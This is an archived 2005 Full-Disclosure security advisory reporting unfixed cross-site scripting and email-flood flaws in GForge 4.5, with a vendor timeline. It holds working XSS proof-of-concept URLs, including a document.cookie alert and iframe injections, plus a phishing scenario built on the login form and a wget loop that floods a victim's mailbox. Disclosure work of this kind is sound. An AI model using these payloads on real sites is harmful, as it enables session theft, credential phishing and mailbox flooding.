lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <1122588963.22636.3.camel@localhost.localdomain>
Date: Fri Jul 29 12:14:15 2005
From: joxeankoret at yahoo.es (Joxean Koret)
Subject: Cross Site Scripting vulnerabilities in GForge

---------------------------------------------------------------------------
          Various Vulnerabilities in GForge 
---------------------------------------------------------------------------

Author: Jose Antonio Coret (Joxean Koret)
Date: 2005
Location: Basque Country

---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

GForge - 4.5 (Current)

GForge has tools to help your team collaborate, like message forums and 
mailing lists; tools to create and control access to Source Code
Management 
repositories like CVS and Subversion. GForge automatically creates a
repository 
and controls access to it depending on the role settings of the project.

Web : http://gforge.org/

---------------------------------------------------------------------------

A) Cross Site Scripting Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1.- In the Forum Module:

	http://[target]/forum/forum.php?forum_id="><script>alert('hi')</script>
	http://[target]/forum/forum.php?group_id="><script>alert('hi')</script>

(NOTE: The group_id parameter is ALWAYS vulnerable.)

2.- In the Task Module:


http://[target]/pm/task.php?func=detailtask&project_task_id="><h1>hi!</h1>&group_id=1&group_project_id=3

3.- In the Snippets Module:

	http://[target]/snippet/detail.php?type=snippet&id=21"><iframe%
20src=http://www.playboy.com></iframe><font%20size="

4.- In the search engine:

To try it simply enter any valid XSS test such as "><h1>hi!!!</h1> in
the 
search field and press enter or try the following URL:

	http://[target]/search/?type_of_search=soft&words=%22%3E%3Ch1%3EHi%21%
3C%2Fh1%3E%3Ciframe+src%3Dhttp%3A%2F%2Fslashdot.org%3E%3C%2Fiframe%
3E&Search=Search

5.- In other modules:


http://[target]//frs/admin/qrs.php?group_id="><script>alert(document.cookie)</script>
	http://[target]/notepad.php?form=parent;%0d%0a-->%0d%
0a</script><body><h1>hi!</h1></body></html><!--

NOTE: (rows, cols and wrap paremeter are also vulnerables).

6.- In the Login Form:

The login form is also vulnerable to XSS (Cross Site Scripting) attacks.
This may
be used to launch phising attacks by sending HTML e-mails (i.e.: saying
that you need 
to upgrade to the latest GForge version due to a security problem) and
putting in the 
e-mail an HTML link that points to an specially crafted url that inserts
an html form 
in the GForge login page and when the user press the login button,
he/she send the 
credentials to the attackers website.

POC. To "play" with this, simply go to the login page and insert in the
login field 
then following text: 

	"><iframe src=http://www.playboy.com></iframe><font size="

B) E-Mail Flood
~~~~~~~~~~~~~~~

The 'forgot your password?' feature allows a remote user to load a
certain URL to 
cause the service to send a validation e-mail to the specified user's
e-mail address. 
There is no limit to the number of messages sent over a period of time,
so a remote 
user can flood the target user's secondary e-mail address. E-Mail Flood,
E-Mail bomber.

The following is a "Proof Of Concept" of this vulnerability:

	[joxean@...obox]$ while [ true ]; do
	>	wget http://[target]/account/lostpw.php?loginname=joxean
	> done

The "pending account" confirmation e-mail is also vulnerable so, a
mailicious user can
flood any e-mail box even if they are not GForge registered users.


The fix:
~~~~~~~~

There is no fix at the moment.


Workarounds:
~~~~~~~~~~~~

There are no workarounds except by using a method to automagically catch
the XSS
request such as WASP (available via CVS at
https://savannah.nongnu.org/wasp) or 
mod_security (available at http://www.modsecurity.org/) for Apache Web
Servers.


Timeline:
~~~~~~~~~

25-Apr-2005 Vendor contacted
25-Apr-2005 Initial Vendor response (without interest on fixing bugs)
25-Apr-2005 Response to vendor
04-Jun-2005 One XSS bug (not discovered by me) closed without a fix
23-Jun-2005 Vendor RE-contacted (No response)
27-Jul-2005 Advisory released

Disclaimer:
~~~~~~~~~~~

The information in this advisory and any of its demonstrations is
provided
"as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

---------------------------------------------------------------------------

Contact:
~~~~~~~~

	Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es



-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada
	digitalmente
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050729/14684af7/attachment.bin

Powered by blists - more mailing lists